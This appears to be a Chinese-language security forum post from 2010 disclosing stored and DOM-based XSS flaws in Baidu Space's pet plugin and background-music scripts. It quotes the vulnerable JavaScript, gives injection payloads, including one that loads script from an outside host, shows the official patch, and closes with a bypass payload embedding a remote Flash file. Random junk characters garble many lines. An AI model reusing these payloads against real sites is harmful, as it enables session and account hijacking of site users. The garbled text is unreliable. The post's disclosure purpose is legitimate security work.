百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. 7 E$ q& [, y1 [$ \6 o) K' c5 ?7 \
* M& M# x3 V3 J, E/ O5 j I
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. " K0 Y' X, t2 r [( G$ {, M$ `
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 0 }8 ^; Z& ^. s a& G
% h0 \" q8 _2 z& s. N
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
' Q0 V7 J5 p0 f" k其中BdUtil.insertWBR为 ' ?' E6 |' Z6 K/ ]" v, m
function(text, step) { 9 C0 V8 ]! M- P0 O# L n M) d
var textarea = textAreaCache || getContainer(); . L) J2 ]3 e8 m3 g. a5 M
if (!textarea) { / z) P( M, C* R& ?
return text;
, E5 c2 b; _2 z: u9 h }
! J8 `& d$ t. i4 z textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
7 c2 k g1 G9 i* ` c2 R var string = textarea.value;
8 u* }6 c1 N% |- {& l: m7 b var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); 1 K1 h! ^1 q! D8 L. F5 `+ p
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
7 b+ T: T" y1 ~) Y2 o return result; . J1 R! z$ r+ S1 k
}
4 S' C, `8 `& j4 X在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. ( o5 u. ]0 S" j( C9 w
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> ' j: F4 _/ i: L' a' J
6 F' A5 `" q& `6 p* {1 r6 ?二:creatbgmusic() Dom-Xss Bug }1 [/ Q5 E. D9 L$ o, H, L
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
5 J5 p; d p% V6 ]7 y4 Z
; T! o) o3 p% o+ g R1 b5 J在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
( N, f! m# W/ M; B6 O4 M8 L/ \% r8 K F% i, p
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
0 O& M# M4 D! P& Y! A //传入的murl赋值到bgmusic1和bgmusic2中 ) Z- U: S0 G9 |- z7 v9 s/ ]- u
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
* \- q' k F& Q( Z) {; n; J var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; 9 M+ _. S- S$ Q& y2 @# f
if (musicnum <= 1) { * n j) L: v9 p' q
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
4 X. _" w" ?1 w2 a: T( \8 L }
8 v; M, b, |- q6 o bgmusic1 += "</OBJECT>"; 2 ^6 Y% W( d# D% g* a2 G
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; 3 K1 {! o! V" i0 q& P# D$ P
if (musicnum <= 1) { ; }4 E' T" }! z& \, ]
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
, ~+ G1 ~8 z. l0 b1 k$ o } / }% @ c6 }1 g# k. b- M0 j+ |
bgmusic2 += "> </EMBED>"; ' ?+ v$ E1 Y8 A
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
3 u* q7 A' F0 T+ N* S var bgmus = detectWMP();
+ b! P2 ` F- Z4 v. M if (functype == "FckMusicHelper") {
/ ?; d; U2 f1 Y3 { if (bgmus.installed) {
3 P' ]% x+ M! V: Z, X- ~' D7 D1 D% ` if (bgmus.type == "IE") {
; h! }8 s4 ], o& g2 N1 L$ @0 i$ r% Z return bgmusic1;
+ ~& M5 m4 b7 j } else if (bgmus.type == "NS") { # {/ c2 I" R# t7 i! h
return bgmusic2;
+ V, c8 H4 L. Y" N3 e# } }
/ R: H& J# _9 C. h } else {
3 v6 L+ ]1 L: P1 G% H0 b return bgmusic3;
0 N% H5 j+ w7 w- J7 G } ( s* b& z/ {1 G' @6 ?4 K: ?) _
} else {
& K' f1 W7 _, |! y" n if (bgmus.installed) {
2 ?4 {7 |9 K! o: \% x! f) X; S6 J //document.write 直接输出bgmusic变量 导致xss
# b! I* C& i1 I$ Q P: n! ?2 t if (bgmus.type == "IE") {
( Z* T4 B5 O2 R document.write(bgmusic1);
+ S0 r! H1 P" k* ^$ w9 s } else if (bgmus.type == "NS") {
6 m8 s, V% q n- ^ document.write(bgmusic2); 1 G( {% m( j6 G6 e( R
}
" o% \- d- R$ v2 _" z } else { 0 D, l1 j- c/ C- x/ k& @
document.write(bgmusic3);
1 ]/ k1 C4 E4 ~, g3 j4 l* _ } & z$ E% t+ e a/ h0 {
return "";
5 @3 @) `" H7 @& p# F }
# f0 Q* ?; U% F, |, V} 3 X. Q: _; l* g$ O9 M
; x3 b3 z" ~1 J9 u1 j在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: ( J! `0 x3 e! d- M$ k, J
* |5 Q- I, q' o9 _' v
function initBlogTextForFCK(){ - L, v; W, w- e F: l, N" B/ H
//fck init music # \8 b3 }; W, w( x0 ?; F! p
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
- [' t0 K: h- cvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
' c7 ~8 g' t8 j7 f8 ivar isAutoPlay=true;
K3 L8 y3 h, E* N6 X% r* t: ifor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. 4 Y9 ?) U/ j) e9 V6 r, F2 w
var img=imgBox;
. X" s* X4 [% F' \9 N if(img.getAttribute(’rel’)){ # R+ ]) j% X0 O1 H3 a
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
' Y$ s' P: F9 W! G var musicDiv = document.createElement("SPAN");
) l8 I7 p7 Q' q, l3 u$ l var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
9 A: T/ S' w- d9 ~+ S. X: H3 T
: k8 s. l9 v' ~/ r) D( d .......................... 8 x! M. }! a% y- y" f3 a6 S( ]
. |' T! ~7 t# W; y //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. 0 f$ m% z, z1 |
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 6 L, Q2 G6 l b6 ~7 C5 D
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); 8 i4 l0 b' O [) o
musicDiv.innerHTML=shtml;
3 C- O3 ]. v5 t# a% c9 e: A0 o i--;n--;
2 L" ?% A9 n. M8 [/ ` }
/ u6 U8 y9 z5 H/ H) O2 e" F5 ?} 8 o6 U0 x, n+ c1 _
# T7 H4 X& h# G2 H6 w% P( r. C从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. / c( T6 ]1 O/ Z5 R; R8 a- h
1 F* Q! B) v; z- @4 W: s" a测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> ( Y* A/ B- D/ T9 p
- [. H' @5 v- @2 n+ D; Y: F6 S等待官方补丁
; Q0 {6 r( u- a8 ?) D
y; \( I3 M2 C; A" |update 2010年5月13日 , u; F8 k. N3 I) T+ P! `
- N9 q) x) O3 [" B9 D. e* o' k. X官方补丁: 0 h2 V+ F0 @% {4 H
' s; y7 e% D1 o/ l8 i$ _; w
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
' s$ Z+ e5 b7 R$ H5 u改为: , N+ A. v7 V$ L( \
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
7 x: T+ n/ m) j( C* O; z
! V# k. L. r0 e) u/ Nupdate 2010年5月13日 21:50:37 7 f4 F" D8 ]6 v9 }3 m4 d
! O8 u2 ]" t6 Q4 P: M- x
补丁存在漏洞 没有过滤" 可以继续跨: , a* H' o3 l4 G" R
0 }! ~# o O( X# {) R a3 i1 z
NEW POC:
6 m# L" B9 Q0 u7 B( W( F/ J+ X; N, l- ^! w& N) R; A
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" 3 g! @( ^/ f: d6 _' ~9 [
3 v$ Y m8 p/ ?allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>+ D/ T( V1 C" _4 C7 S, Y4 q
8 n% f: p- b! F+ ~
|